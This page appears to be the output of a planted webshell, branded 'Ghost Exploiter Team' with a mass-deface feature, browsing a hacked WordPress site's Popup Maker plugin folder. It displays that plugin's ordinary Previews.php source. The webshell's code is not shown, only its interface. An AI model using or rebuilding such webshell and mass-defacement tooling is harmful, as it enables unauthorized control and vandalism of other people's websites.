webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
aminiwrc
/
public_html11
/
wp-content
/
plugins
/
popup-maker
/
classes
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Abstract
--
ren
Admin
--
ren
Batch
--
ren
DB
--
ren
Extension
--
ren
Integration
--
ren
Interface
--
ren
Model
--
ren
Newsletter
--
ren
Repository
--
ren
Shortcode
--
ren
Site
--
ren
Upgrade
--
ren
Utils
--
ren
Activator.php
0.777KB
edt
ren
Admin.php
3.718KB
edt
ren
Ajax.php
1.661KB
edt
ren
Analytics.php
7.788KB
edt
ren
AssetCache.php
19.966KB
edt
ren
Cache.php
0.246KB
edt
ren
ConditionCallbacks.php
6.349KB
edt
ren
Conditions.php
14.264KB
edt
ren
Cookies.php
7.671KB
edt
ren
DataStorage.php
0.373KB
edt
ren
Deactivator.php
0.58KB
edt
ren
Extensions.php
5.343KB
edt
ren
GA.php
2.313KB
edt
ren
Helpers.php
8.036KB
edt
ren
Install.php
7.925KB
edt
ren
Integrations.php
12.692KB
edt
ren
Licensing.php
7.691KB
edt
ren
ListTable.php
41.079KB
edt
ren
Logging.php
0.26KB
edt
ren
Newsletters.php
8.854KB
edt
ren
Options.php
0.301KB
edt
ren
Popup.php
0.234KB
edt
ren
Popups.php
0.769KB
edt
ren
Previews.php
3.621KB
edt
ren
Privacy.php
16.216KB
edt
ren
Shortcode.php
11.607KB
edt
ren
Shortcodes.php
1.284KB
edt
ren
Site.php
4.671KB
edt
ren
Telemetry.php
10.313KB
edt
ren
Triggers.php
10.325KB
edt
ren
Types.php
7.591KB
edt
ren
Upgrades.php
0.34KB
edt
ren
Upsell.php
7.518KB
edt
ren
index.php
0.113KB
edt
ren
<?php /** * Manage popup prevews. * * @package PopupMaker */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class PUM_Previews * * This class sets up the necessary changes to allow admins & editors to preview popups on the front end. */ class PUM_Previews { /** * Initiator method. */ public static function init() { add_action( 'template_redirect', [ __CLASS__, 'force_load_preview' ] ); add_filter( 'pum_popup_is_loadable', [ __CLASS__, 'is_loadable' ], 1000, 2 ); add_filter( 'pum_popup_data_attr', [ __CLASS__, 'data_attr' ], 1000, 2 ); add_filter( 'pum_popup_get_public_settings', [ __CLASS__, 'get_public_settings' ], 1000, 2 ); } /** * Get popup id for previewing. * * @return false|int */ public static function get_popup_preview() { static $preview_id; if ( isset( $preview_id ) ) { return $preview_id; } $preview_id = false; if ( ! isset( $_GET['popup_preview'] ) || ! isset( $_GET['popup'] ) || // Overridden as wp_verify_nonce is already safe: https://github.com/WordPress/WordPress-Coding-Standards/issues/869#issuecomment-611782416. // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized ! wp_verify_nonce( $_GET['popup_preview'], 'popup-preview' ) ) { return false; } $popup_id = sanitize_text_field( wp_unslash( $_GET['popup'] ) ); if ( is_numeric( $_GET['popup'] ) && absint( $_GET['popup'] ) > 0 ) { $preview_id = absint( $_GET['popup'] ); } else { $post = get_page_by_path( $popup_id, OBJECT, 'popup' ); $preview_id = $post->ID; } return $preview_id; } /** * Sets the Popup Post Type public arg to true for content editors. * * This enables them to use the built in preview links. * * @param int $popup_id Popup ID. * * @return bool */ private static function is_previewing_popup( $popup_id = 0 ) { if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { return false; } $preview_id = static::get_popup_preview(); return $popup_id === $preview_id && current_user_can( 'edit_post', $preview_id ); } /** * Force popup to load no matter its status if its supposed to be previewed. */ public static function force_load_preview() { $preview_id = static::get_popup_preview(); $popup = pum_get_popup( $preview_id ); if ( $popup->is_valid() && $preview_id === $popup->ID ) { PUM_Site_Popups::preload_popup( $popup ); } } /** * For popup previews this will force only the correct popup to load. * * @param bool $loadable Is popup loadable. * @param int $popup_id Popup ID. * * @return bool */ public static function is_loadable( $loadable, $popup_id ) { return self::is_previewing_popup( $popup_id ) ? true : $loadable; } /** * On popup previews add an admin debug trigger. * * @deprecated 1.16.10 Use get_public_settings instead. * * @param array $data_attr Array of popup data attributes. * @param int $popup_id Popup ID. * * @return mixed */ public static function data_attr( $data_attr, $popup_id ) { if ( ! self::is_previewing_popup( $popup_id ) ) { return $data_attr; } $data_attr['triggers'] = [ [ 'type' => 'admin_debug', ], ]; return $data_attr; } /** * On popup previews add an admin debug trigger. * * @param array $settings Array of settigs. * @param PUM_Model_Popup $popup Popup model object. * * @return array */ public static function get_public_settings( $settings, $popup ) { if ( ! self::is_previewing_popup( $popup->ID ) ) { return $settings; } $settings['triggers'] = [ [ 'type' => 'admin_debug', ], ]; return $settings; } }
<=Back
Liking